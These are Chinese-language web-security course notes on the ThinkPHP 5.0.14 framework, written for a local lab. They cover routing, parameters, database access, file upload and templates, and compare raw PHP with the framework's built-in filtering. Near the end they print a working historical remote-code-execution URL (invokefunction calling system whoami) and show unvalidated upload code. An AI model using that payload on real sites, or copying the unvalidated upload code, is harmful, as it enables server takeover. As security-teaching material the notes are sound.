第27天:安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞

小迪安全第27天

Thinkphp

ThinkPHP 是一款免费开源的轻量级 PHP 开发框架,由国内团队开发,专注于简化企业级应用开发和 API 开发。它以 “简洁、高效、实用” 为设计理念,适合快速构建稳定、可扩展的 Web 应用。

Thinkphp官网:https://www.thinkphp.cn/

访问路径:http://127.0.0.1/demo01/thinkphp_5.0.14_full/public/

Snipaste_2025-06-05_07-11-45

那么这个页面你可以看到public这个路径下都没有这个文件,那么是如何进行访问到这个界面的呢?

Snipaste_2025-06-05_07-13-52

Snipaste_2025-06-05_07-15-09

修改这个默认页面:

Snipaste_2025-06-05_07-33-12

Snipaste_2025-06-05_07-33-42

1
2
3
4
5
6
7
8
thinkphp的访问方式:
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作(方法)/[参数名/参数值...]

也就是说如果我要触发这里applicable下的index下的index.php我直接按照原本的路径去访问是访问不了的,正确的访问方式是,前提是你将网站的根目录设置为thinkphp的根目录:ip/index.php/index/index/index
为什么是这个路径,因为index.php是要访问的文件名,那么按照官方的手册,应该排在第一位,然后后面这个index是模块的名字,第二个index是控制器的名字,最后一个index是操作/方法

如果你没有将网站的根路径设置为thinkphp那么你的路径为:
http://127.0.0.1/demo01/thinkphp_5.0.14_full/public/index.php/index/index/index

Snipaste_2025-06-05_07-57-27

开启调试状态

Snipaste_2025-06-05_07-18-46

那么根据上面的访问规则在控制index里面自己手动创建一个操作,看看是否可以按照路由规则进行访问:

1
2
3
4
public function yatming()
{
echo '<h1>Yatming 666</h1>';
}

Snipaste_2025-06-05_07-58-07

1
访问路径:http://127.0.0.1/demo01/thinkphp_5.0.14_full/public/index.php/index/index/yatming

Snipaste_2025-06-05_08-02-14

接收参数的区别

原生态接收参数的方式

之前我们写的接收参数的方式都是如下:

1
2
$x = $_GET['x'];
$x = $_POST['x'];

那么用到thinkphp的话就是:

1
2
3
4
5
6
7
8
9
    public function yatming()
{
$x = $_GET['x'];
return $x;
}


访问地址;
http://127.0.0.1/demo01/thinkphp_5.0.14_full/public/index.php/index/index/yatming?x=yatming%20hhhh

Snipaste_2025-06-05_08-04-30

thinkphp接收参数的方式

如果你要用到这种方式的话,这里得调用一下下图红框中的模块:

Snipaste_2025-06-05_08-10-42

1
2
3
4
5
6
7
return $this->request->param('name');

传递的url可以有两种传输方式;
http://127.0.0.1/demo01/thinkphp_5.0.14_full/public/index.php/index/index/yatming/?name=123123

第二种:
http://127.0.0.1/demo01/thinkphp_5.0.14_full/public/index.php/index/index/yatming/name/123

Snipaste_2025-06-05_08-11-02

新建一个模块

Snipaste_2025-06-05_08-30-02

Snipaste_2025-06-05_08-30-16

1
2
3
4
5
6
7
http://127.0.0.1/demo01/thinkphp_5.0.14_full/public/index.php/test/test/index

这里还有一个是需要注意的点,就是我不管控制器下面的是:xxx.php,访问的都是public下面的这个入口文件的index.php,然后跟上模块名,控制器的名字,操作名字

将网站根目录指向,public目录:
http://127.0.0.1:81/index.php/test/test/index
都是差不多的,唯一注意的点就是上面说的 ,你在控制器下面创建任何文件名,访问的时候都是从index.php这个文件进行访问的。

Snipaste_2025-06-05_08-32-32

使用thinkphp操作数据库

原生链接数据库的方式

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$dbip='localhost';
$dbuser='root';
$dbpass='root';
$dbname='demo01';
$con=mysqli_connect($dbip,$dbuser,$dbpass,$dbname);

?>

首先是建立数据库的连接,然后在php中调用就是:
$sql1="select * from gbook";
$data=mysqli_query($con,$sql1);

thinkphp连接数据库的方式

前置条件

1
2
3
use think\Db;

然后修改一下application/database.php

Snipaste_2025-06-05_08-56-25

在刚刚创建的test中,新建一个方法,使用thinphp的连接方式:

1
2
3
4
5
public function testsql(){
$data = Db::name('demo01')->where('id',1)->find();
return json($data);

}

Snipaste_2025-06-05_08-59-39

两种方式的安全风险

原生

Snipaste_2025-06-05_10-12-46

Snipaste_2025-06-05_18-35-01

自己写的可以正常进行注入,应为没有任何防护。

thinkphp

Snipaste_2025-06-05_18-39-04

这里后面写入任何值都没有反应:

Snipaste_2025-06-05_18-39-32

说明使用php自带的框架代码是有过滤的。

文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
namespace app\test\controller;
use think\Request;
use think\Controller;
use think\Db;

class Test extends Controller
{
public function index()
{
echo "这个个是test方法";
//return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_bd568ce7058a1091"></thinkad>';
}
//
// public function yatming()
// {
// return $this->request->param('name');
// }

//thinkphp调用mysql
public function testsql()
{
$data = Db::name('demo01')->where('id', 1)->find();
return json($data);

}

public function upload()
{
// 获取表单上传文件 例如上传了001.jpg
$file = request()->file('image');

// 移动到框架应用根目录/public/uploads/ 目录下
if ($file) {
$info = $file->move(ROOT_PATH . 'public' . DS . 'uploads');
if ($info) {
// 成功上传后 获取上传信息
// 输出 jpg
echo $info->getExtension();
// 输出 20160820/42a79759f284b767dfcb2a0197904287.jpg
echo $info->getSaveName();
// 输出 42a79759f284b767dfcb2a0197904287.jpg
echo $info->getFilename();
} else {
// 上传失败获取错误信息
echo $file->getError();
}
}


}
}

访问上传路径:

1
http://127.0.0.1/demo01/thinkphp_5.0.14_full/public/upload.html

Snipaste_2025-06-05_18-53-52

然后这里上传其他类型的文件:

Snipaste_2025-06-05_18-57-07

Snipaste_2025-06-05_18-57-13

同样是可以正常上传,但是他这里同样有安全的文件上传,这里在试一下安全的文件上传:

安全文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function upload(){
// 获取表单上传文件 例如上传了001.jpg
$file = request()->file('image');
// 移动到框架应用根目录/public/uploads/ 目录下
$info = $file->validate(['size'=>15678,'ext'=>'jpg,png,gif'])->move(ROOT_PATH . 'public' . DS . 'uploads');
if($info){
// 成功上传后 获取上传信息
// 输出 jpg
echo $info->getExtension();
// 输出 20160820/42a79759f284b767dfcb2a0197904287.jpg
echo $info->getSaveName();
// 输出 42a79759f284b767dfcb2a0197904287.jpg
echo $info->getFilename();
}else{
// 上传失败获取错误信息
echo $file->getError();
}
}

Snipaste_2025-06-05_19-00-44

上传图片的时候是正常的。这里显示文件后缀不允许。然后查看上传目录也是没有上传成功的,同样说明thinkphp在对文件上传的时候有自己代码过滤。

thinkphp的模板

我们在index的controller下面创建一个同级目录view

Snipaste_2025-06-05_20-20-56

他的目录结构如下:

Snipaste_2025-06-05_20-21-42

他的代码文件内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport"
content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>{$name}</title>
</head>
<body>
{$email}
</body>
</html>

然后你在默认的index控制器中可以写一条,就可以默认找默认的视图文件:

Snipaste_2025-06-05_20-23-16

如果你要进行访问这个html的话:

1
http://127.0.0.1/demo01/thinkphp_5.0.14_full/public/index.php/index/index/index

Snipaste_2025-06-05_20-20-15

使用模板

访问:http://127.0.0.1/demo01/thinkphp_5.0.14_full/public/index.php/index/index/yatming

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
namespace app\index\controller;
use think\Request;
use think\Controller;

class Index extends Controller
{
public function index()
{
return $this->fetch();
}

public function yatming()
{

$this->assign('name','ThinkPHP');
$this->assign('email','thinkphp@qq.com');
//可以批量赋值
$this->assign([
'name' == 'ThinkPHP',
'email' == 'thinkphp@qq.com'
]);
//模板输出
return $this->fetch('index');
}
}

Snipaste_2025-06-05_20-27-31

thinkphp历史漏洞

如果查看thinkphp的版本:
Snipaste_2025-06-05_20-30-46

1
http://127.0.0.1/demo01/thinkphp_5.0.14_full/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

Snipaste_2025-06-05_20-40-34

总结:

1
2
3
4
5
6
安全写法:
规矩写法:不是绝对的安全,如果有历史漏洞,同样是有问题,不是说是这个历史漏洞的版本就一定有这个漏洞,因为是可以打补丁的。所以不绝对。

用一半的安全写法:有安全隐患

自己写的原生代码:漏洞百出

逻辑漏洞

假设一个网站的管理员的UID是1,普通用户是10,那么如果我可以更改这个UID的值,是不是可以将普通用户的10改成1,变成管理员用户,那么同样如果普通用户是10+,我是否可以通过修改UID这个值变成其他普通的用户呢?